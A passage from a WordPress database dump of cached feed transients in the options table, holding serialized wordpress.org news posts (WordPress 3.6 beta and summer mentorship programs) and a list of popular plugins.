[&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:12:\"Mark Jaquith\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:2057:\"<p>WordPress 3.6 Beta 2 is now available!</p>\n<p>This is software still in development and <strong>we <em>really</em> don’t recommend that you run it on a production site</strong> — set up a test site just to play with the new version. To test WordPress 3.6, try the <a href=\"http://wordpress.org/extend/plugins/wordpress-beta-tester/\">WordPress Beta Tester</a> plugin (you’ll want “bleeding edge nightlies”). Or you can <a href=\"http://wordpress.org/wordpress-3.6-beta2.zip\">download the beta here</a> (zip).</p>\n<p>The longer-than-usual delay between beta 1 and beta 2 was due to poor user testing results with the Post Formats UI. Beta 2 contains a modified approach for format choosing and switching, which has done well in user testing. We&#8217;ve also made the Post Formats UI hide-able via Screen Options, and set a reasonable default based on what your theme supports.</p>\n<p>There were a lot of bug fixes and polishing tweaks done for beta 2 as well, so definitely check it out if you had an issues with beta 1.</p>\n<p>Plugin developers, theme developers, and WordPress hosts should be testing beta 2 extensively. The more you test the beta, the more stable our release candidates and our final release will be.</p>\n<p>As always, if you think you’ve found a bug, you can post to the <a href=\"http://wordpress.org/support/forum/alphabeta\">Alpha/Beta area</a> in the support forums. Or, if you’re comfortable writing a reproducible bug report, <a href=\"http://core.trac.wordpress.org/\">file one on the WordPress Trac</a>. There, you can also find <a href=\"http://core.trac.wordpress.org/report/5\">a list of known bugs</a> and <a href=\"http://core.trac.wordpress.org/query?status=closed&amp;group=component&amp;milestone=3.6\">everything we&#8217;ve fixed</a> so far.</p>\n<p>We&#8217;re looking forward to your feedback. If you find a bug, please report it, and if you’re a developer, try to help us fix it. We&#8217;ve already had more than 150 contributors to version 3.6 — it&#8217;s not too late to join in!</p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"http://wordpress.org/news/2013/04/wordpress-3-6-beta-2/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:9;a:6:{s:4:\"data\";s:45:\"\n		\n		\n		\n		\n		\n				\n		\n\n		\n		\n				\n			\n		\n		\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:5:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:42:\"Summer Mentorship Programs: GSoC and Gnome\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:76:\"http://wordpress.org/news/2013/04/summer-mentorship-programs-gsoc-and-gnome/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:85:\"http://wordpress.org/news/2013/04/summer-mentorship-programs-gsoc-and-gnome/#comments\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 25 Apr 2013 03:18:41 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"category\";a:2:{i:0;a:5:{s:4:\"data\";s:9:\"Community\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}i:1;a:5:{s:4:\"data\";s:11:\"Development\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"http://wordpress.org/news/?p=2573\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:358:\"As an open source, free software project, WordPress depends on the contributions of hundreds of people from around the globe &#8212; contributions in areas like core code, documentation, answering questions in the support forums, translation, and all the other things it takes to make WordPress the best publishing platform it can be, with the most [&#8230;]\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"Jen Mylo\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:40:\"http://purl.org/rss/1.0/modules/content/\";a:1:{s:7:\"encoded\";a:1:{i:0;a:5:{s:4:\"data\";s:5071:\"<p>As an open source, free software project, WordPress depends on the contributions of hundreds of people from around the globe &#8212; contributions in areas like core code, documentation, answering questions in the support forums, translation, and all the other things it takes to make WordPress the best publishing platform it can be, with the most supportive community. This year, we&#8217;re happy to be participating as a mentoring organization with two respected summer internship programs: <a href=\"http://www.google-melange.com/gsoc/homepage/google/gsoc2013\">Google Summer of Code (GSoC)</a> and the Gnome Outreach Program for Women.</p>\n<h3>Google Summer of Code</h3>\n<p>GSoC is a summer internship program funded by Google specifically for college/university student developers to work on open source coding projects. We have participated in the Google Summer of Code program in the past, and have enjoyed the opportunity to work with students in this way. Some of our best core developers were GSoC students once upon a time!</p>\n<p><a href=\"http://codex.wordpress.org/GSoC2013#Mentors\">Our mentors</a>, almost 30 talented developers with experience developing WordPress, will provide students with guidance and feedback over the course of the summer, culminating in the release of finished projects at the end of the program if all goes well.</p>\n<p>Students who successfully complete the program earn $5,000 for their summer efforts. Interested, or know a college student (newly accepted to college counts, too) who should be? All the information you need about our participation in the program, projects, mentors, and the application process is available on the <a href=\"http://codex.wordpress.org/GSoC2013\">GSoC 2013 page in the Codex</a>.</p>\n<h3>Gnome Outreach Program for Women</h3>\n<p>It&#8217;s not news that women form a low percentage of contributors in most open source projects, and WordPress is no different. We have great women in the contributor community, including some in fairly visible roles, but we still have a lot of work to do to get a representative gender balance on par with our user base.</p>\n<p>The Gnome Outreach Program for Women aims to provide opportunities for women to participate in open source projects, and offers a similar stipend, but there are three key differences between GSoC and Gnome aside from the gender requirement for Gnome.</p>\n<ol>\n<li><span style=\"font-size: 13px;line-height: 19px\">The Gnome program allows intern projects in many areas of contribution, not just code. In other words, interns can propose projects like documentation, community management, design, translation, or pretty much any area in which we have people contributing (including code).</span></li>\n<li><span style=\"font-size: 13px;line-height: 19px\">The Gnome Outreach Program for Women doesn&#8217;t require interns to be college students, though students are definitely welcome to participate. This means that women in all stages of life and career can take the opportunity to try working with open source communities for the summer.</span></li>\n<li><span style=\"font-size: 13px;line-height: 19px\">We have to help raise the money to pay the interns. Google funds GSoC on its own, and we only have to provide our mentors&#8217; time. Gnome doesn&#8217;t have the same funding, so we need to pitch in to raise the money to cover our interns. If your company is interested in helping with this, please check out the program&#8217;s </span><a style=\"font-size: 13px;line-height: 19px\" href=\"https://live.gnome.org/OutreachProgramForWomen#For_Organizations_and_Companies\">sponsorship information</a><span style=\"font-size: 13px;line-height: 19px\"> and follow the contact instructions to get involved. You can earmark donations to support WordPress interns, or to support the program in general. (Pick us, pick us! <img src=\'http://wordpress.org/news/wp-includes/images/smilies/icon_smile.gif\' alt=\':)\' class=\'wp-smiley\' />  )</span></li>\n</ol>\n<p>The summer installment of the Gnome Outreach Program for Women follows the same schedule and general application format as GSoC, though there are more potential projects since it covers more areas of contribution. Women college students interested in doing a coding project are encouraged to apply for both programs to increase the odds of acceptance. All the information you need about our participation in the program, projects, mentors, and the application process is available on the <a href=\"http://codex.wordpress.org/Gnome_Summer_Program_for_Women\">Gnome Outreach Program for Women page in the Codex</a>.</p>\n<p>The application period just started, and it lasts another week (May 1 for Gnome, May 3 for GSoC), so if you think you qualify and are interested in getting involved, check out the information pages, get in touch, and apply… Good luck!</p>\n<p><a href=\"http://codex.wordpress.org/GSoC2013\">Google Summer of Code 2013 Information</a><br />\n<a href=\"http://codex.wordpress.org/Gnome_Summer_Program_for_Women\">Gnome Summer Outreach Program for Women 2013 Information</a></p>\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:36:\"http://wellformedweb.org/CommentAPI/\";a:1:{s:10:\"commentRss\";a:1:{i:0;a:5:{s:4:\"data\";s:81:\"http://wordpress.org/news/2013/04/summer-mentorship-programs-gsoc-and-gnome/feed/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:38:\"http://purl.org/rss/1.0/modules/slash/\";a:1:{s:8:\"comments\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"0\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}s:27:\"http://www.w3.org/2005/Atom\";a:1:{s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:0:\"\";s:7:\"attribs\";a:1:{s:0:\"\";a:3:{s:4:\"href\";s:31:\"http://wordpress.org/news/feed/\";s:3:\"rel\";s:4:\"self\";s:4:\"type\";s:19:\"application/rss+xml\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:44:\"http://purl.org/rss/1.0/modules/syndication/\";a:2:{s:12:\"updatePeriod\";a:1:{i:0;a:5:{s:4:\"data\";s:6:\"hourly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:15:\"updateFrequency\";a:1:{i:0;a:5:{s:4:\"data\";s:1:\"1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:8:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Tue, 27 Aug 2013 05:16:46 GMT\";s:12:\"content-type\";s:23:\"text/xml; charset=UTF-8\";s:10:\"connection\";s:5:\"close\";s:4:\"vary\";s:15:\"Accept-Encoding\";s:10:\"x-pingback\";s:36:\"http://wordpress.org/news/xmlrpc.php\";s:13:\"last-modified\";s:29:\"Thu, 01 Aug 2013 21:49:34 GMT\";s:4:\"x-nc\";s:11:\"HIT lax 250\";}s:5:\"build\";s:14:\"20130708114016\";}','no'),(233,'_transient_timeout_feed_mod_ac0b00fe65abe10e0c5b588f3ed8c7ca','1377623785','no'),(234,'_transient_feed_mod_ac0b00fe65abe10e0c5b588f3ed8c7ca','1377580585','no'),(235,'_transient_timeout_dash_4077549d03da2e451c8b5f002294ff51','1377623785','no'),(236,'_transient_dash_4077549d03da2e451c8b5f002294ff51','<div class=\"rss-widget\"><ul><li><a class=\'rsswidget\' href=\'http://wordpress.org/news/2013/08/oscar/\' title=\'The latest and greatest WordPress, version 3.6, is now live to the world and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here’s a video that shows off some of the features using […]\'>WordPress 3.6 “Oscar”</a> <span class=\"rss-date\">August 1, 2013</span><div class=\'rssSummary\'>The latest and greatest WordPress, version 3.6, is now live to the world and includes a beautiful new blog-centric theme, bullet-proof autosave and post locking, a revamped revision browser, native support for audio and video embeds, and improved integrations with Spotify, Rdio, and SoundCloud. Here’s a video that shows off some of the features using […]</div></li><li><a class=\'rsswidget\' href=\'http://wordpress.org/news/2013/07/wordpress-3-6-release-candidate-2/\' title=\'The second release candidate for WordPress 3.6 is now available for download and testing. We’re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we’ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted […]\'>WordPress 3.6 Release Candidate 2</a> <span class=\"rss-date\">July 24, 2013</span><div class=\'rssSummary\'>The second release candidate for WordPress 3.6 is now available for download and testing. We’re down to only a few remaining issues, and the final release should be available in a matter of days. In RC2, we’ve tightened up some aspects of revisions, autosave, and the media player, and fixed some bugs that were spotted […]</div></li></ul></div>','no'),(237,'_transient_timeout_feed_b9388c83948825c1edaef0d856b7b109','1377623785','no'),(238,'_transient_feed_b9388c83948825c1edaef0d856b7b109','a:4:{s:5:\"child\";a:1:{s:0:\"\";a:1:{s:3:\"rss\";a:1:{i:0;a:6:{s:4:\"data\";s:3:\"\n	\n\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:7:\"version\";s:3:\"2.0\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:1:{s:0:\"\";a:1:{s:7:\"channel\";a:1:{i:0;a:6:{s:4:\"data\";s:72:\"\n		\n		\n		\n		\n		\n		\n				\n\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n		\n\n	\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:7:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"WordPress Plugins » View: Most Popular\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:44:\"http://wordpress.org/plugins/browse/popular/\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:39:\"WordPress Plugins » View: Most Popular\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:8:\"language\";a:1:{i:0;a:5:{s:4:\"data\";s:5:\"en-US\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 27 Aug 2013 04:47:55 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:9:\"generator\";a:1:{i:0;a:5:{s:4:\"data\";s:25:\"http://bbpress.org/?v=1.1\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"item\";a:15:{i:0;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Contact Form 7\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"http://wordpress.org/plugins/contact-form-7/#post-2141\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 02 Aug 2007 12:45:03 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"2141@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:54:\"Just another contact form plugin. Simple but flexible.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:16:\"Takayuki Miyoshi\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:1;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:7:\"Akismet\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:45:\"http://wordpress.org/plugins/akismet/#post-15\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 09 Mar 2007 22:11:30 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:32:\"15@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:98:\"Akismet checks your comments against the Akismet web service to see if they look like spam or not.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:14:\"Matt Mullenweg\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:2;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:22:\"WordPress SEO by Yoast\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:53:\"http://wordpress.org/plugins/wordpress-seo/#post-8321\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 01 Jan 2009 20:34:44 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"8321@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:131:\"Improve your WordPress SEO: Write better content and have a fully optimized WordPress site using the WordPress SEO plugin by Yoast.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Joost de Valk\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:3;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:19:\"All in One SEO Pack\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:58:\"http://wordpress.org/plugins/all-in-one-seo-pack/#post-753\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Fri, 30 Mar 2007 20:08:18 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:33:\"753@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:86:\"WordPress SEO plugin to automatically optimize your Wordpress blog for Search Engines.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:8:\"uberdose\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:24:\"Jetpack by WordPress.com\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:48:\"http://wordpress.org/plugins/jetpack/#post-23862\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Thu, 20 Jan 2011 02:21:38 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:35:\"23862@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:104:\"Supercharge your WordPress site with powerful features previously only available to WordPress.com users.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:24:\"Michael Adams (mdawaffe)\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:15:\"NextGEN Gallery\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:55:\"http://wordpress.org/plugins/nextgen-gallery/#post-1169\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 23 Apr 2007 20:08:06 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:34:\"1169@http://wordpress.org/plugins/\";s:7:\"attribs\";a:1:{s:0:\"\";a:1:{s:11:\"isPermaLink\";s:5:\"false\";}}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:122:\"The most popular WordPress gallery plugin and one of the most popular plugins of all time with over 7.5 million downloads.\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:9:\"Alex Rabe\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:30:\"\n			\n			\n			\n			\n			\n			\n					\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:18:\"WordPress 